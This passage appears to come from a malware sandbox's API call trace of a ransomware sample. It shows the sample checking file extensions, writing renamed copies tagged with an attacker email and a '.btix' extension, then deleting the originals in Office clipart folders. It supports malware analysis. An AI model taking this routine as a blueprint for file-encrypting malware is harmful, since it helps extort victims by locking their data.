68 [0156.798] lstrlenW (lpString=".1cd") returned 4 [0156.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0156.798] lstrlenW (lpString=".jpg") returned 4 [0156.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.799] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.799] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.808] GetLastError () returned 0x0 [0156.808] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x99a2, lpOverlapped=0x0) returned 1 [0156.815] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x99b0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x99b0, lpOverlapped=0x0) returned 1 [0156.816] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.816] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.816] SetEndOfFile (hFile=0x37c) returned 1 [0156.826] CloseHandle (hObject=0x37c) returned 1 [0156.827] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.827] SetEndOfFile (hFile=0x374) returned 1 [0156.833] CloseHandle (hObject=0x374) returned 1 [0156.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf")) returned 1 [0156.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0156.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0156.837] lstrlenW (lpString=".doc") returned 4 [0156.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.837] lstrlenW (lpString=".docx") returned 5 [0156.837] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.837] lstrlenW (lpString=".pdf") returned 4 [0156.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.837] lstrlenW (lpString=".xls") returned 4 [0156.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.838] lstrlenW (lpString=".xlsx") returned 5 [0156.838] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.838] lstrlenW (lpString=".ppt") returned 4 [0156.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0156.838] lstrlenW (lpString=".zip") returned 4 [0156.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.838] lstrlenW (lpString=".rar") returned 4 [0156.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.838] lstrlenW (lpString=".bz2") returned 4 [0156.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.838] lstrlenW (lpString=".7z") returned 3 [0156.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0156.838] lstrlenW (lpString=".dbf") returned 4 [0156.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0156.838] lstrlenW (lpString=".1cd") returned 4 [0156.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0156.838] lstrlenW (lpString=".jpg") returned 4 [0156.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.845] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.845] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0156.846] GetLastError () returned 0x0 [0156.846] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x8420, lpOverlapped=0x0) returned 1 [0156.870] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x8430, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x8430, lpOverlapped=0x0) returned 1 [0156.871] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.871] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.872] SetEndOfFile (hFile=0x358) returned 1 [0156.875] CloseHandle (hObject=0x358) returned 1 [0156.875] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.875] SetEndOfFile (hFile=0x37c) returned 1 [0156.876] CloseHandle (hObject=0x37c) returned 1 [0156.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf")) returned 1 [0156.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0156.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0156.876] lstrlenW (lpString=".doc") returned 4 [0156.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.876] lstrlenW (lpString=".docx") returned 5 [0156.876] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.876] lstrlenW (lpString=".pdf") returned 4 [0156.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.876] lstrlenW (lpString=".xls") returned 4 [0156.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.877] lstrlenW (lpString=".xlsx") returned 5 [0156.877] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.877] lstrlenW (lpString=".ppt") returned 4 [0156.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0156.877] lstrlenW (lpString=".zip") returned 4 [0156.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.877] lstrlenW (lpString=".rar") returned 4 [0156.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.877] lstrlenW (lpString=".bz2") returned 4 [0156.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.877] lstrlenW (lpString=".7z") returned 3 [0156.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0156.877] lstrlenW (lpString=".dbf") returned 4 [0156.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0156.877] lstrlenW (lpString=".1cd") returned 4 [0156.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0156.877] lstrlenW (lpString=".jpg") returned 4 [0156.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.888] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.888] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.895] GetLastError () returned 0x0 [0156.895] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1e74, lpOverlapped=0x0) returned 1 [0156.901] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0156.902] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.902] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.902] SetEndOfFile (hFile=0x374) returned 1 [0156.902] CloseHandle (hObject=0x374) returned 1 [0156.903] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.903] SetEndOfFile (hFile=0x39c) returned 1 [0156.903] CloseHandle (hObject=0x39c) returned 1 [0156.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf")) returned 1 [0156.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0156.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0156.904] lstrlenW (lpString=".doc") returned 4 [0156.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.904] lstrlenW (lpString=".docx") returned 5 [0156.904] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.904] lstrlenW (lpString=".pdf") returned 4 [0156.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.904] lstrlenW (lpString=".xls") returned 4 [0156.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.904] lstrlenW (lpString=".xlsx") returned 5 [0156.904] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.904] lstrlenW (lpString=".ppt") returned 4 [0156.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0156.904] lstrlenW (lpString=".zip") returned 4 [0156.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.905] lstrlenW (lpString=".rar") returned 4 [0156.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.905] lstrlenW (lpString=".bz2") returned 4 [0156.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.905] lstrlenW (lpString=".7z") returned 3 [0156.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0156.905] lstrlenW (lpString=".dbf") returned 4 [0156.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0156.905] lstrlenW (lpString=".1cd") returned 4 [0156.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0156.905] lstrlenW (lpString=".jpg") returned 4 [0156.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.922] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.922] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.924] GetLastError () returned 0x0 [0156.924] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2182, lpOverlapped=0x0) returned 1 [0156.926] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2190, lpOverlapped=0x0) returned 1 [0156.927] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.927] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.927] SetEndOfFile (hFile=0x36c) returned 1 [0156.931] CloseHandle (hObject=0x36c) returned 1 [0156.933] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.933] SetEndOfFile (hFile=0x37c) returned 1 [0156.934] CloseHandle (hObject=0x37c) returned 1 [0156.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf")) returned 1 [0156.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0156.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0156.936] lstrlenW (lpString=".doc") returned 4 [0156.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.936] lstrlenW (lpString=".docx") returned 5 [0156.936] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0156.936] lstrlenW (lpString=".pdf") returned 4 [0156.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.936] lstrlenW (lpString=".xls") returned 4 [0156.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.936] lstrlenW (lpString=".xlsx") returned 5 [0156.936] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0156.936] lstrlenW (lpString=".ppt") returned 4 [0156.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0156.936] lstrlenW (lpString=".zip") returned 4 [0156.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.936] lstrlenW (lpString=".rar") returned 4 [0156.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.936] lstrlenW (lpString=".bz2") returned 4 [0156.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.936] lstrlenW (lpString=".7z") returned 3 [0156.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0156.936] lstrlenW (lpString=".dbf") returned 4 [0156.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0156.937] lstrlenW (lpString=".1cd") returned 4 [0156.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0156.937] lstrlenW (lpString=".jpg") returned 4 [0156.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.937] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.937] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.938] GetLastError () returned 0x0 [0156.938] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x843a, lpOverlapped=0x0) returned 1 [0156.940] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x8440, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x8440, lpOverlapped=0x0) returned 1 [0156.941] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.941] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.941] SetEndOfFile (hFile=0x374) returned 1 [0156.941] CloseHandle (hObject=0x374) returned 1 [0156.941] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.941] SetEndOfFile (hFile=0x39c) returned 1 [0156.942] CloseHandle (hObject=0x39c) returned 1 [0156.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf")) returned 1 [0156.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0156.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0156.943] lstrlenW (lpString=".doc") returned 4 [0156.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.943] lstrlenW (lpString=".docx") returned 5 [0156.943] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.943] lstrlenW (lpString=".pdf") returned 4 [0156.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.943] lstrlenW (lpString=".xls") returned 4 [0156.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.943] lstrlenW (lpString=".xlsx") returned 5 [0156.943] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.943] lstrlenW (lpString=".ppt") returned 4 [0156.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0156.943] lstrlenW (lpString=".zip") returned 4 [0156.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.943] lstrlenW (lpString=".rar") returned 4 [0156.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.943] lstrlenW (lpString=".bz2") returned 4 [0156.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.944] lstrlenW (lpString=".7z") returned 3 [0156.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0156.944] lstrlenW (lpString=".dbf") returned 4 [0156.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0156.944] lstrlenW (lpString=".1cd") returned 4 [0156.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0156.944] lstrlenW (lpString=".jpg") returned 4 [0156.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.945] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.945] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.945] GetLastError () returned 0x0 [0156.945] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x44fe, lpOverlapped=0x0) returned 1 [0156.992] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4500, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x4500, lpOverlapped=0x0) returned 1 [0156.993] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.993] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.993] SetEndOfFile 